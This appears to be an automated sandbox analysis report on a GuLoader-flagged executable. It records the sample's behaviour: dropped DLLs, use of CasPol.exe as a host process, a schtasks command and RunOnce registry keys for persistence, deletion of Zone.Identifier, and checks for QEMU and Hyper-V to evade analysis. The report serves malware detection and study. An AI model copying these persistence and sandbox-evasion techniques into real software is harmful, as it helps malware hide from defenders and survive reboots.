Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{a79e3faa-9eab-4550-93e8-967a30a2a789}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6248:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1604:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7216:120:WilError_03

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: QT_0948765446-NMPMUST-9876563783.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 0000000E.00000000.2626503935.0000000000D00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_70F530C0 push eax; ret	0_2_70F530EE
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C2E97 push AE322A75h; retf E248h	0_2_032C2F64
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C7F2D push cs; ret	0_2_032C7F2B
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C373C push FFFFFF84h; retf	0_2_032C3741
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C3314 pushad ; iretd	0_2_032C3315
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C7EED push cs; ret	0_2_032C7F2B
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C2EEB push AE322A75h; retf E248h	0_2_032C2F64
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C0DAB push eax; iretd	0_2_032C0DB0
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C6188 push esp; retf	0_2_032D1EFB
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C3C74 push es; retf	0_2_032C3C75
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_032C64A1 push esp; retf	0_2_032D1EFB

Source: libpixbufloader-tiff.dll.0.dr

Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_70F51BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70F51BFF

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	File created: C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	File created: C:\Users\user\AppData\Local\Temp\library.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	File created: C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp1B52.tmp

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce TIRLS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce TIRLS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce TIRLS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce TIRLS	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285607259.00000000033D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285607259.00000000033D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7724	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3996	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\library.dll			Jump to dropped file
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll			Jump to dropped file

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

Code function: 0_2_032C6C04 rdtsc

0_2_032C6C04

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 1125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: foregroundWindowGot 1488	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405D74
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_0040699E FindFirstFileW,FindClose,	0_2_0040699E
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	Code function: 0_2_0040290B FindFirstFileW,	0_2_0040290B

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	API call chain: ExitProcess graph end node			graph_0-11900
Source: C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe	API call chain: ExitProcess graph end node			graph_0-11682

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System\06e54f5fa1f15dd558eaf403cdcacad3\System.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\5085e86702d2182b0d9417971c65ded2\System.Drawing.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\ae952be8fa59744d6333aed90b72f162\System.Windows.Forms.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\	Jump to behavior

Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 0000000E.00000003.4494173257.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100038167.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4620929748.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWKA
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 0000000E.00000003.4255498172.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4089182342.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4494173257.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4432529097.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100038167.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4146600706.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4620929748.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.4181477384.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000E.00000003.3100680425.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285607259.00000000033D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285607259.00000000033D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v2.0.50727\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v2.0.50727\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v2.0.50727\caspol.exewindir=\syswow64\iertutil.dllwindir=\Microsoft.NET\Framework\v2.0.50727\caspol.exewindir=\syswow64\iertutil.dll
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: QT_0948765446-NMPMUST-9876563783.exe, 00000000.00000002.3285926325.0000000004F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

